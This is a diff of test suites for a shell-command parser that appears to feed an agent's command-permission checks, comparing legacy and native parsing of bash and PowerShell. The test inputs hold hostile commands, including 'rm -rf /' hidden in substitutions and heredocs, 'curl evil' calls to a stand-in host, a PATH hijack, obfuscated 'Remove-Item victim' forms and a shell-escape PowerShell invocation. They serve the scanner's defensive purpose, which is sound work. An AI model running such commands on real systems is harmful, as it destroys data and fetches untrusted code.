)
expect((yield* service.snapshot()).definitions[0]?.description).toBe("Echo text")
}),
)
it.effect("updates newly added tools and applies removals in order", () =>
Effect.gen(function* () {
const service = yield* Tool.Service
yield* service.transform((draft) => {
draft.add({ ...make(), options: { codemode: false } })
draft.update("echo", (tool) => {
tool.description = "Updated"
tool.input = Schema.Struct({ value: Schema.Number })
tool.output = Schema.Number
tool.execute = ({ value }) => Effect.succeed({ output: value * 2 })
})
draft.add({ ...make(), name: "removed" })
draft.remove("removed")
draft.add({ ...make(), name: "removed" })
draft.remove("removed")
})
const snapshot = yield* service.snapshot()
expect(snapshot.definitions.map((tool) => tool.name)).toEqual(["echo", "execute"])
expect(snapshot.definitions[0]?.description).toBe("Updated")
expect(
(yield* snapshot.execute({
...call("echo"),
call: { type: "tool-call", id: "updated", name: "echo", input: { value: 3 } },
})).output,
).toBe(6)
}),
)
it.effect("logs and skips invalid dotted namespaces", () => {
const output: unknown[] = []
const logger = Logger.map(Logger.formatStructured, (entry) => {
@@ -0,0 +1,234 @@
import { describe, expect, test } from "bun:test"
import { Effect } from "effect"
import { ShellParse } from "../src/shell/parse.js"
describe("portable shell parser compatibility", () => {
test.each([
["bash", "echo $((1+1))", {}],
["bash", "echo $((1 + $(printf hidden)))", {}],
["bash", "cd ~/project", {}],
["bash", "cd src&&cd..", {}],
["bash", "cd src && cd .. && git status", {}],
["zsh", "git status", {}],
["fish", "git status", {}],
["bash", "git status", { BASH_ENV: "/startup" }],
["bash", "git status", { "BASH_FUNC_cd%%": "() { :; }" }],
["bash", "cd $HOME; pwd", { HOME: "/session-home" }],
["bash", "cd; pwd", { HOME: "/session-home" }],
["bash", 'target=/outside; cd "$target"; pwd', {}],
["bash", "cd 'src dir' && git status", {}],
["bash", 'cd "src dir"; cd escaped\\ space', {}],
["bash", "cd '$HOME'; cd '~/outside'", {}],
["bash", 'g""it status', {}],
["bash", 'npm "run" test', {}],
["bash", "git '*'", {}],
["bash", "FOO=bar git status", {}],
["bash", "HOME=/outside; cd; pwd", {}],
["bash", "CDPATH=/outside cd child", {}],
["bash", "cd child; pwd", { CDPATH: "/outside" }],
["bash", "cd /workspace > output", {}],
["bash", "export X=value; unset X; git status", {}],
["bash", "printf ok && git status > output", {}],
["bash", "printf ok | cat < input > output", {}],
["bash", "cd -- -/../../../etc; pwd", {}],
["bash", "cd -; pushd; popd; pwd", {}],
["bash", "command cd /outside; builtin cd /elsewhere", {}],
["pwsh", "Get-ChildItem | ForEach-Object { Write-Output $_ }", {}],
["pwsh", "ForEach-Object { Remove-Item victim }", {}],
["pwsh", "Set-Location -LiteralPath '../outside'; Get-ChildItem", {}],
["pwsh", "Set-Location -LiteralPath:/outside", {}],
["pwsh", "Set-Location -LiteralPath:'/outside path'", {}],
["pwsh", 'Set-Location -PATH:"../outside path"', {}],
["pwsh", "Set-Location $HOME; Set-Location $PWD; Set-Location $target", { HOME: "/session-home" }],
["pwsh", "Set-Item Env:T /outside; Set-Location $env:T", { T: "/workspace" }],
["pwsh", "sl /outside; Microsoft.PowerShell.Management\\Set-Location /outside", {}],
] as const)(
"matches supported legacy resources, saved prefixes, and directories natively: %s %s %j",
async (shell, command, env) => {
if (Object.keys(env).length > 0) {
const child = Bun.spawn({
cmd: [
process.execPath,
"--eval",
`
import { Effect } from "effect"
import { ShellParse } from "./src/shell/parse.ts"
const command = ${JSON.stringify(command)}
const shell = ${JSON.stringify(shell)}
const legacy = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace"))
const portable = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))
const native = await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))
console.log(JSON.stringify([legacy, portable, native]))
`,
],
cwd: `${import.meta.dir}/..`,
env: { ...process.env, ...env },
stdout: "pipe",
stderr: "pipe",
})
const [output, error, code] = await Promise.all([
new Response(child.stdout).text(),
new Response(child.stderr).text(),
child.exited,
])
expect(code, error).toBe(0)
const [legacy, portable, native] = JSON.parse(output)
expect(portable).toEqual(legacy)
expect(native).toEqual(legacy)
return
}
const legacy = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace"))
const portable = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))
expect(portable).toEqual(legacy)
expect(await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))).toEqual(legacy)
},
)
test("derives the legacy prefix for long argument lists", async () => {
const command = `echo ${"x ".repeat(16_000)}`.trimEnd()
const result = await Effect.runPromise(ShellParse.scan(command, "bash", "/workspace", { portable: true }))
expect(result).toEqual({ commands: [{ resource: command, save: "echo *" }], directories: [] })
})
test("extracts inline PowerShell directory flags with case-insensitive names and quoted values", async () => {
const result = await Effect.runPromise(
ShellParse.scanPortable(
"Set-Location -LITERALPATH:C:\\outside; Set-Location -pAtH:'../other dir'",
"pwsh",
"/workspace",
),
)
expect(result).toEqual({ commands: [], directories: ["C:\\outside", "../other dir"] })
})
})
describe("current native and legacy parity gaps", () => {
// These are observed parser gaps, not permission-policy changes that must be preserved.
for (const fixture of [
{
name: "native omits the legacy empty command-name node for an assignment with redirection",
shell: "bash",
command: "FOO=bar > output",
legacy: { commands: [{ resource: "FOO=bar > output", save: " *" }], directories: [] },
native: { commands: [], directories: [] },
},
{
name: "native retains nested executable commands without the legacy empty assignment command-name node",
shell: "bash",
command: "FOO=$(printf value) > output",
legacy: {
commands: [
{ resource: "FOO=$(printf value) > output", save: " *" },
{ resource: "printf value", save: "printf *" },
],
directories: [],
},
native: { commands: [{ resource: "printf value", save: "printf *" }], directories: [] },
},
{
name: "native keeps numeric arguments in saved prefixes",
shell: "bash",
command: "git 2 status",
legacy: { commands: [{ resource: "git 2 status", save: "git status *" }], directories: [] },
native: { commands: [{ resource: "git 2 status", save: "git 2 *" }], directories: [] },
},
{
name: "native keeps numeric directory names and operator-shaped arguments",
shell: "bash",
command: "cd 123; git == value",
legacy: { commands: [{ resource: "git == value", save: "git value *" }], directories: [] },
native: { commands: [{ resource: "git == value", save: "git == *" }], directories: ["123"] },
},
{
name: "native preserves substitution source in saved prefixes instead of skipping the argument",
shell: "bash",
command: "git $(printf status) diff",
legacy: {
commands: [
{ resource: "git $(printf status) diff", save: "git diff *" },
{ resource: "printf status", save: "printf *" },
],
directories: [],
},
native: {
commands: [
{ resource: "git $(printf status) diff", save: "git $(printf status) *" },
{ resource: "printf status", save: "printf *" },
],
directories: [],
},
},
{
name: "directory line continuations remain unresolved source rather than legacy split operands",
shell: "bash",
command: "cd before\\\nafter",
legacy: { commands: [], directories: ["before", "after"] },
native: { commands: [], directories: ["before\\\nafter"] },
},
{
name: "native recognizes PowerShell carriage-return separators omitted by the legacy AST",
shell: "pwsh",
command: "Get-ChildItem\rRemove-Item victim",
legacy: { commands: [], directories: [] },
native: {
commands: [
{ resource: "Get-ChildItem", save: "Get-ChildItem *" },
{ resource: "Remove-Item victim", save: "Remove-Item *" },
],
directories: [],
},
},
{
name: "native recognizes tab-separated PowerShell commands omitted by the legacy AST",
shell: "pwsh",
command: "git\tstatus",
legacy: { commands: [], directories: [] },
native: { commands: [{ resource: "git\tstatus", save: "git\tstatus *" }], directories: [] },
},
{
name: "native preserves complete PowerShell flag=value resources",
shell: "pwsh",
command: "git --flag=value",
legacy: { commands: [{ resource: "git --flag", save: "git --flag *" }], directories: [] },
native: { commands: [{ resource: "git --flag=value", save: "git --flag=value *" }], directories: [] },
},
{
name: "native does not split comma-separated PowerShell directory operands",
shell: "pwsh",
command: "Set-Location a,b",
legacy: { commands: [], directories: ["a", ",b"] },
native: { commands: [], directories: ["a,b"] },
},
]) {
test(fixture.name, async () => {
const native = await Effect.runPromise(ShellParse.scanPortable(fixture.command, fixture.shell, "/workspace"))
expect(native).toEqual(fixture.native)
expect(await Effect.runPromise(ShellParse.scan(fixture.command, fixture.shell, "/workspace"))).toEqual(
fixture.legacy,
)
expect(
await Effect.runPromise(ShellParse.scan(fixture.command, fixture.shell, "/workspace", { portable: true })),
).toEqual(native)
expect(native).not.toEqual(fixture.legacy)
})
}
})
describe("legacy directory command behavior", () => {
test.each(["bash", "zsh", "pwsh"])("retains the original shared directory command set: %s", async (shell) => {
const result = await Effect.runPromise(
ShellParse.scan(
"chdir /outside; set-location /elsewhere; push-location /stack; sl .; pop-location",
shell,
"/workspace",
),
)
expect(result).toEqual({
commands: [
{ resource: "sl .", save: "sl *" },
{ resource: "pop-location", save: "pop-location *" },
],
directories: ["/outside", "/elsewhere", "/stack"],
})
})
})
+99 -103
View File
@@ -3,30 +3,104 @@ import { Effect } from "effect"
import { ShellParse } from "../src/shell/parse.js"
import { ShellScan } from "../src/shell/scan.js"
describe("ShellParse portable parity", () => {
test("matches tree-sitter for generated supported syntax", async () => {
for (const [shell, command] of generated()) {
describe("ShellParse native parity", () => {
test("matches the legacy oracle across generated supported syntax without fallback", async () => {
const commands = generated()
expect(commands.length).toBeGreaterThan(20_000)
for (const [shell, command] of commands) {
const context = `${shell}: ${JSON.stringify(command)}`
const scanned = shell === "pwsh" ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
const portable = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))
if (scanned.kind === "opaque") {
expect({ command, portable }).toEqual({
command,
portable: { commands: [{ resource: command, save: command }], directories: [] },
})
continue
}
if (shell === "pwsh" && /\r(?!\n)/.test(command)) {
expect(portable).toEqual({ commands: [], directories: [] })
continue
}
expect(scanned.kind, context).toBe("scanned")
const native = await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))
const legacy = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace"))
expect({ command, portable }).toEqual({ command, portable: legacy })
expect(native, context).toEqual(legacy)
expect(
await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true })),
context,
).toEqual(native)
}
}, 60_000)
test.each([
["/bin/bash", "git status && npm run test -- --watch"],
["/bin/bash", "git\tstatus; git status | cat; git diff || echo done"],
["/bin/bash", "echo \"two words\"; printf 'static text'"],
["/bin/bash", "aws s3 ls; docker compose up; git remote add origin; bun run test"],
["/bin/bash", 'git "status"; git remote "add" origin; aws s3 "ls"'],
["/bin/bash", "echo $(curl example.test | sed s/x/y/)"],
["/bin/bash", "if true; then printf yes; else printf no; fi"],
["/bin/bash", "(git status) && { npm test; }"],
["/bin/bash", "(printf ok) > output"],
["/bin/bash", "{ printf ok; } > output"],
["/bin/bash", ">$(printf output)"],
["/bin/bash", "printf ok # ignored ; curl example.test\nprintf done"],
["/bin/bash", "cd ~/project; cd src && cd ..; pwd"],
["/bin/bash", "cd src&&cd.."],
["/bin/bash", "echo $((1 + 2))"],
["/bin/bash", "echo $((1 + $(printf 2)))"],
["/bin/bash", "$COMMAND status"],
["/bin/zsh", "cd ~/project; chdir src && cd ..; git status"],
["/bin/zsh", "echo $((1 + 2)); cd src&&cd.."],
["/bin/dash", "cd src&&cd ..; pwd"],
["/bin/sh", "echo $((1 + 2)); git status; cd src; pwd"],
["/bin/ksh", "git status; cd src; pwd"],
["pwsh", "Get-ChildItem; Write-Output done | Out-String"],
["pwsh", "Set-Location -LiteralPath C:\\tmp; Get-ChildItem"],
["pwsh", "git status; npm run test; docker compose up"],
["pwsh", 'git "status"; npm "run" test; docker "compose" up'],
["pwsh", "Write-Output done # comment\nGet-ChildItem"],
])("native resources, saved prefixes, and directories match in %s: %s", async (shell, command) => {
const scanned = shell === "pwsh" ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
expect(scanned.kind).toBe("scanned")
const native = await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))
expect(native).toEqual(await Effect.runPromise(ShellParse.scan(command, shell, "/workspace")))
expect(await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))).toEqual(native)
})
test.each(["> output", "FOO=bar", "2>> output"])(
"returns an explicit empty result for statements without executable command nodes: %s",
async (command) => {
expect(ShellScan.scan(command)).toEqual({ kind: "scanned", commands: [] })
const native = await Effect.runPromise(ShellParse.scanPortable(command, "bash", "/workspace"))
expect(native).toEqual({ commands: [], directories: [] })
expect(await Effect.runPromise(ShellParse.scan(command, "bash", "/workspace"))).toEqual(native)
expect(await Effect.runPromise(ShellParse.scan(command, "bash", "/workspace", { portable: true }))).toEqual(
native,
)
},
)
})
describe("ShellParse malformed native syntax", () => {
test.each([
["bash", 'echo "unterminated', "unterminated-quote"],
["bash", "printf done &&", "invalid-structure"],
["bash", "cat >", "invalid-redirect"],
["bash", ">", "invalid-redirect"],
["bash", "FOO=bar >", "invalid-redirect"],
["bash", "echo \\", "unterminated-escape"],
["pwsh", 'Write-Output "unterminated', "unterminated-quote"],
["pwsh", "git 12>bar", "invalid-redirect"],
["pwsh", "Write-Output `", "unterminated-escape"],
] as const)("fails explicitly for malformed %s syntax: %s", async (shell, command, reason) => {
const scanned = shell === "pwsh" ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
expect(scanned).toEqual({ kind: "opaque", reason })
expect(await Effect.runPromise(Effect.result(ShellParse.scanPortable(command, shell, "/workspace")))).toMatchObject(
{
_tag: "Failure",
failure: { message: `Portable shell scanner cannot analyze command: ${reason}` },
},
)
expect(
await Effect.runPromise(Effect.result(ShellParse.scan(command, shell, "/workspace", { portable: true }))),
).toMatchObject({
_tag: "Failure",
failure: { message: `Portable shell scanner cannot analyze command: ${reason}` },
})
})
})
// This generator describes a supported grammar; opaque results fail the test rather than being filtered out.
function generated() {
const result: Array<[shell: string, command: string]> = []
const bashHeads = ["git", "npm", "echo", "printf", "cat", "cd"]
@@ -42,107 +116,30 @@ function generated() {
" ./relative",
" /tmp/absolute",
]
const assignments = ["", "X=value ", "X='two words' ", 'X="two words" ']
const redirects = ["", " > output", " 2> error", " < input", " >> output"]
const bashSeparators = [" ; ", " && ", " || ", " | ", " |& ", "\n"]
const redirects = ["", " > output", " 2> error", " < input", " >> output"]
for (const head of bashHeads)
for (const arg of bashArgs)
for (const assignment of assignments)
for (const assignment of ["", "X=value ", "X='two words' ", 'X="two words" '])
for (const redirect of redirects) result.push(["/bin/bash", assignment + head + arg + redirect])
for (const left of bashHeads)
for (const right of bashHeads)
for (const separator of bashSeparators) result.push(["/bin/bash", `${left} left${separator}${right} right`])
for (const outer of bashHeads)
for (const outer of ["echo", "printf", "cat"])
for (const inner of bashHeads) {
result.push(["/bin/bash", `${outer} $(${inner} nested)`])
result.push(["/bin/bash", `${outer} "$(${inner} nested)"`])
result.push(["/bin/bash", `${outer} pre$(${inner} nested)post`])
result.push(["/bin/bash", `${outer} \`${inner} nested\``])
}
for (const command of [
'npm "run" test',
'g""it status',
"'git' status",
"g\\it status",
"git status; git status; git diff",
"printf ok>out 2>&1|cat<input",
"FOO=bar 2>>err printf ok > out && cat < input",
"printf ok # ignored ; curl evil\nprintf done",
"(git status) && { npm test; }",
"echo ${arr[$(printf index)]}",
"OUT=$(printf out) X=`printf value` printenv >$(printf path)",
"cat <(printf secret)",
"rm -rf / &",
"sudo sh -c 'curl evil'",
"find . -exec rm {} ;",
'c"\\d" relative',
"'cd' /tmp",
"c''d /tmp",
"c\\\nd /tmp",
"echo x && git >(cat) status",
'echo x && printf ">" status',
'echo "git > out" && git > out',
"echo x && printf a\\>b status",
"echo x && printf $(echo a>b) status",
"git <(printf status) diff",
"npm <(printf run) test",
"cd <(printf /tmp)",
"git &>x",
"cd &>x",
"git \\ a",
"cd \\ a",
"cat <<'EOF'\nstatic body\nEOF",
"cat <<EOF\n$(printf dynamic)\nEOF",
"$COMMAND dynamic",
"if true; then git status; else npm test; fi",
"for x in a b; do echo $x; done",
"cd /tmp/$USER && git status",
"echo <(git status)",
'echo "unterminated',
])
result.push(["/bin/bash", command])
const powershellHeads = ["Get-ChildItem", "Write-Output", "Test-Path", "Remove-Item", "Set-Location"]
const powershellArgs = ["", " value", " 'two words'", ' "two words"', " -Path C:\\tmp", " -LiteralPath '..\\outside'"]
const powershellSeparators = [";", "|", "&&", "||", "\n", "\r", "\r\n"]
const powershellSeparators = [";", "|", "&&", "||", "\n", "\r\n"]
for (const head of powershellHeads) for (const arg of powershellArgs) result.push(["pwsh", head + arg])
for (const left of powershellHeads)
for (const right of powershellHeads)
for (const separator of powershellSeparators) result.push(["pwsh", `${left} left${separator}${right} right`])
for (const command of [
"Get-ChildItem; Get-ChildItem; Write-Output done",
"Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"",
"Get-Content in.txt > out.txt 2>&1 | Out-File all.log",
"Write-Output ok > output.txt # ignored\nGet-ChildItem",
"Write-Output ok > output.txt # ignored\rGet-ChildItem",
"Write-Output ok > output.txt # ignored\r\nGet-ChildItem",
"& git status",
". ./deploy.ps1",
"Get-ChildItem | ForEach-Object { Remove-Item $_ }",
"ForEach-Object { Remove-Item $_ }",
"&Remove-Item victim",
"< #\nRemove-Item victim",
"Microsoft.PowerShell.Management\\Get-Item x; Remove-Item y",
'git "status"',
"git st`atus",
'npm "run" test',
'docker "compose" up',
"git >x",
"git *>&1",
"git foo2>bar",
"git 12>bar",
"git a`;b",
"git & Write-Output q",
"Write-Output 'ForEach-Object { Remove-Item x }' | ForEach-Object { Remove-Item x }",
"$Command value",
"& $Command value",
'Write-Output "$(Get-ChildItem)"',
"if ($true) { Get-ChildItem } else { Remove-Item victim }",
"Set-Location $env:TEMP; Get-ChildItem",
'Write-Output "unterminated',
])
result.push(["pwsh", command])
let state = 0x5eed1234
const random = (length: number) => {
@@ -156,10 +153,10 @@ function generated() {
const separator = bashSeparators[random(bashSeparators.length)]
const bashForms = [
`${left}${arg}${separator}${right} fuzz${index}`,
`${left}${arg} $(${right} fuzz${index})`,
`echo $(${right} fuzz${index})`,
`${left}${arg} # ignored\n${right} fuzz${index}`,
`X=value ${left}${arg}${redirects[random(redirects.length)]}`,
`${left} before\\\nafter${separator}${right} fuzz${index}`,
`${left} 'two words'${separator}${right} fuzz${index}`,
]
result.push(["/bin/bash", bashForms[index % bashForms.length]])
@@ -171,10 +168,9 @@ function generated() {
`${powershellLeft}${powershellArg}${powershellSeparator}${powershellRight} fuzz${index}`,
`${powershellLeft}${powershellArg} # ignored\n${powershellRight} fuzz${index}`,
`${powershellLeft} fuzz${index} > output; ${powershellRight}${powershellArg}`,
`${powershellLeft}\`\n fuzz${index}; ${powershellRight}${powershellArg}`,
`${powershellLeft} "fuzz${index}" | ${powershellRight}${powershellArg}`,
]
result.push(["pwsh", powershellForms[index % powershellForms.length]])
}
return result
}
@@ -0,0 +1,114 @@
import { describe, expect, test } from "bun:test"
import { Effect } from "effect"
import { ShellParse } from "../src/shell/parse.js"
import { Wildcard } from "../src/util/wildcard.js"
describe("native shell syntax compatibility", () => {
test("PowerShell invocation approvals include the operator instead of saving an ineffective prefix", async () => {
const command = "& $Command value"
expect(await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace"))).toEqual({
commands: [{ resource: command, save: "$Command *" }],
directories: [],
})
expect(await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace", { portable: true }))).toEqual({
commands: [{ resource: command, save: "& $Command *" }],
directories: [],
})
})
test.each([
"ForEach-Object { Write-Output value }",
"Write-Output before; ForEach-Object { Write-Output value }",
"ForEach-Object { Write-Output value } | Write-Output done",
"Write-Output before | ForEach-Object { Write-Output $_ }",
"& ForEach-Object { Write-Output value }",
"& 'ForEach-Object' { Write-Output value }",
"% { Write-Output value }",
"Where-Object { Write-Output value }",
])("PowerShell scriptblock callers preserve permission resources and usable approvals: %s", async (command) => {
const legacy = await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace"))
const native = await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace", { portable: true }))
expect(native.commands.map((item) => item.resource)).toEqual(legacy.commands.map((item) => item.resource))
for (const item of native.commands) expect(Wildcard.match(item.resource, item.save), item.resource).toBe(true)
})
for (const shell of ["bash", "zsh"]) {
test.each([
"cat <<'EOF'\n$(not_a_command)\nEOF",
"cat <<EOF\n$(printf hello)\nEOF",
"cat <<-EOF\n\thello\n\tEOF",
"cat <<EOF\nhello\nEOF\nprintf done",
'cat <<< "$(printf hello)"',
"for file in a b; do printf '%s' \"$file\"; done",
"for file in $(printf file); do printf '%s' \"$file\"; done",
'for file in a b; do if test -n "$file"; then printf \'%s\' "$file"; fi; done',
"while IFS= read -r file; do printf '%s' \"$file\"; done < input",
"until test -f ready; do sleep 1; done",
"if true; then if false; then printf no; else printf yes; fi; fi",
"if true; then :; X=$(printf value); fi",
'case "$target" in *.ts) printf typescript;; *) printf other;; esac',
"greet() { printf hello; }; greet",
"function greet { printf hello; }; greet",
"printf before; { printf grouped; }; (printf subshell)",
"time git status",
"time -p git status",
"coproc git status",
"if [[ -f file ]]; then cat file; fi",
"[[ $(printf yes) = yes ]]",
"echo ${value:-default}",
'echo "${value:-$(printf fallback)}"',
"echo ${value//before/after}",
"echo ${arr[$(printf index)]}",
"printf '%s' $'line1\\nline2'",
'printf "%s" $"hello"',
"echo $((1 + ${value:-2}))",
"echo $((array[$(printf 0)]))",
"echo $[1 + 2]",
"((count++))",
"for ((i=0; i<2; i++)); do printf ok; done",
"echo `printf \\2`",
])(`${shell} extracts commands without rejecting ordinary syntax: %s`, async (command) => {
const legacy = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace"))
const native = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))
expect(native).toEqual(legacy)
expect(await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))).toEqual(native)
})
}
test("does not invent commands from a quoted second heredoc body", async () => {
const command = "cat <<FIRST <<'SECOND'\n$(printf first)\nFIRST\n$(not_a_command)\nSECOND"
const expected = {
commands: [
{ resource: command, save: "cat *" },
{ resource: "printf first", save: "printf *" },
],
directories: [],
}
expect(await Effect.runPromise(ShellParse.scanPortable(command, "bash", "/workspace"))).toEqual(expected)
expect(await Effect.runPromise(ShellParse.scan(command, "bash", "/workspace", { portable: true }))).toEqual(
expected,
)
})
test.each([
'Write-Output "$(Get-Location)"',
"$value = Get-Date; Write-Output $value",
"if ($true) { Write-Output yes } else { Write-Output no }",
"if (Test-Path file) { Get-Item file }",
"foreach ($value in @('a','b')) { Write-Output $value }",
"for ($i=0; $i -lt 2; $i++) { Write-Output $i }",
"while (Test-Path file) { Get-Item file; break }",
"function Show-Value { Write-Output value }; Show-Value",
"Get-Item -Path (Join-Path src file)",
'Write-Output "line1`nline2"',
"Write-Output `\n continued",
"<# comment #> Write-Output done",
"Write-Output @'\nhello\n'@",
"git st`atus",
])("PowerShell extracts commands without rejecting ordinary syntax: %s", async (command) => {
const legacy = await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace"))
const native = await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace", { portable: true }))
expect(native).toEqual(legacy)
expect(await Effect.runPromise(ShellParse.scanPortable(command, "pwsh", "/workspace"))).toEqual(native)
})
})
+61 -11
View File
@@ -18,31 +18,34 @@ describe("ShellParse", () => {
})
})
test("portable scanning never adds permission resources", async () => {
test("portable scanning preserves supported command resources and directories", async () => {
const commands = [
"git status && npm run test -- --watch",
"echo $(curl evil | sed s/x/y/)",
"cat <<'EOF'\nstatic body\nEOF",
"cat <<EOF\n$(printf dynamic)\nEOF",
"cd /tmp/$USER && git status",
"$COMMAND status",
"if true; then printf yes; else printf no; fi",
"if true; then export X=$(printf value); unset X; fi",
"if export X=$(printf value); then printf done; fi",
"export X=value >$(printf output)",
"echo $((1 + 1))",
"cd ~; cd src&&cd ..; pwd",
]
for (const command of commands) {
const legacy = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
const portable = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))
expect(
portable.commands.every((item) => legacy.commands.some((candidate) => candidate.resource === item.resource)),
).toBe(true)
expect(portable.directories.every((item) => legacy.directories.includes(item))).toBe(true)
expect(portable, command).toEqual(legacy)
expect(await Effect.runPromise(ShellParse.scanPortable(command, "/bin/bash", "/workspace"))).toEqual(portable)
}
})
test("portable scanning authorizes opaque heredocs without inferring directories", async () => {
test("portable scanning handles heredocs with the existing permission resource", async () => {
const command = "cat <<'EOF'\nstatic body\nEOF"
const portable = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))
expect(portable).toEqual({ commands: [{ resource: command, save: command }], directories: [] })
const legacy = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
expect(legacy.commands).toEqual([{ resource: command, save: "cat *" }])
expect(await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))).toEqual(
legacy,
)
})
test.each(['c"\\d" relative', "'cd' /tmp", "c''d /tmp", "c\\\nd /tmp"])(
@@ -54,6 +57,53 @@ describe("ShellParse", () => {
},
)
test.each(["declare", "typeset", "export", "readonly", "local", "unset", "unsetenv"])(
"preserves declaration permission behavior for %s without hiding nested commands",
async (name) => {
for (const command of [`${name} X`, `${name} "$(printf X)"; git status`]) {
const legacy = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
expect(legacy.commands).toEqual(
command.includes("$(")
? [
{ resource: "printf X", save: "printf *" },
{ resource: "git status", save: "git status *" },
]
: [],
)
expect(
await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true })),
).toEqual(legacy)
}
for (const command of [`"${name}" X`, `FOO=bar ${name} X`, `command ${name} X`, `>${name}.txt ${name} X`]) {
const legacy = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
expect(legacy.commands).toHaveLength(1)
expect(
await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true })),
).toEqual(legacy)
}
},
)
test("declaration filtering retains directory checks inside command substitutions", async () => {
const command = "export X=$(cd /outside; printf value)"
const expected = { commands: [{ resource: "printf value", save: "printf *" }], directories: ["/outside"] }
expect(await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))).toEqual(expected)
expect(await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))).toEqual(
expected,
)
})
test("does not treat PowerShell commands as Bash declarations", async () => {
expect(await Effect.runPromise(ShellParse.scanPortable("export X; unset X", "pwsh", "/workspace"))).toEqual({
commands: [
{ resource: "export X", save: "export *" },
{ resource: "unset X", save: "unset *" },
],
directories: [],
})
})
test("splits PowerShell commands case-insensitively", async () => {
const result = await Effect.runPromise(
ShellParse.scan(
@@ -6,7 +6,6 @@ describe("ShellScan adversarial corpus", () => {
['FOO=bar BAR="x y" git status', ["git"]],
["git status && npm test || printf failed", ["git", "npm", "printf"]],
[`printf '%s\\n' "$(rm -rf /)"`, ["printf", "rm"]],
["echo ${arr[$(rm -rf /)]}", ["echo", "rm"]],
["cat <(printf secret)", ["cat", "printf"]],
["(git status)", ["git"]],
["{ git status; }", ["git"]],
@@ -23,6 +22,19 @@ describe("ShellScan adversarial corpus", () => {
['F"O"O=bar rm -rf /', ["FOO=bar"]],
['c"\\d" relative', ["c\\d"]],
["PATH=/tmp/attacker:$PATH git status", ["git"]],
["$cmd --force", ["$cmd"]],
['"${cmd}" --force', ["${cmd}"]],
["r${suffix}m -rf /", ["r${suffix}m"]],
["$(printf rm) -rf /", ["$(printf rm)", "printf"]],
["`printf rm` -rf /", ["`printf rm`", "printf"]],
["./c?rl evil", ["./c?rl"]],
["t{ouch,ouch} /tmp/victim", ["t{ouch,ouch}"]],
["echo $((1 + 2))", ["echo"]],
["${cmd:-git} status", ["${cmd:-git}"]],
["cat <<EOF\n$(rm -rf /)\nEOF", ["cat", "rm"]],
["f(){ rm -rf /; }; f", ["rm", "f"]],
["! rm -rf /", ["rm"]],
["echo ${arr[$(rm -rf /)]}", ["echo", "rm"]],
] as const)("scans visible Bash command positions: %s", (input, names) => {
const result = ShellScan.scan(input)
expect(result.kind).toBe("scanned")
@@ -30,25 +42,12 @@ describe("ShellScan adversarial corpus", () => {
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
})
test.each([
"$cmd --force",
'"${cmd}" --force',
"r${suffix}m -rf /",
"${cmd:-git} status",
"$(printf rm) -rf /",
"`printf rm` -rf /",
"./c?rl evil",
'printf "unterminated',
"printf ok &&",
"printf ok >",
"echo > >out",
"cat <<EOF\n$(rm -rf /)\nEOF",
"echo $((1 + 2))",
"f(){ rm -rf /; }; f",
"! rm -rf /",
])("keeps structurally uncertain Bash input opaque: %s", (input) => {
expect(ShellScan.scan(input).kind).toBe("opaque")
})
test.each(['printf "unterminated', "printf ok &&", "printf ok >", "echo > >out"])(
"keeps structurally uncertain Bash input opaque: %s",
(input) => {
expect(ShellScan.scan(input).kind).toBe("opaque")
},
)
test.each([
['pwsh --command "Remove-Item victim.txt"', ["pwsh"]],
@@ -56,7 +55,15 @@ describe("ShellScan adversarial corpus", () => {
["Invoke-Expression 'Remove-Item victim.txt'", ["Invoke-Expression"]],
[". ./deploy.ps1", ["./deploy.ps1"]],
["& git status", ["git"]],
["& $Command status", ["$Command"]],
["Set-Location $HOME/$target; Get-ChildItem", ["Set-Location", "Get-ChildItem"]],
["Get-ChildItem | ForEach-Object { Remove-Item $_ }", ["Get-ChildItem", "ForEach-Object", "Remove-Item"]],
['Write-Output "$(Get-ChildItem)"', ["Write-Output", "Get-ChildItem"]],
["Remove-`Item victim", ["Remove-Item"]],
["Remove-Item`\r\n victim", ["Remove-Item\r\n"]],
["Invoke-`\nExpression 'Remove-Item victim'", ["Invoke-\nExpression"]],
["<# ignored #> Remove-Item victim", ["Remove-Item"]],
["[string]$x = Remove-Item victim", ["Remove-Item"]],
] as const)("scans visible PowerShell command positions: %s", (input, names) => {
const result = ShellScan.scanPowerShell(input)
expect(result.kind).toBe("scanned")
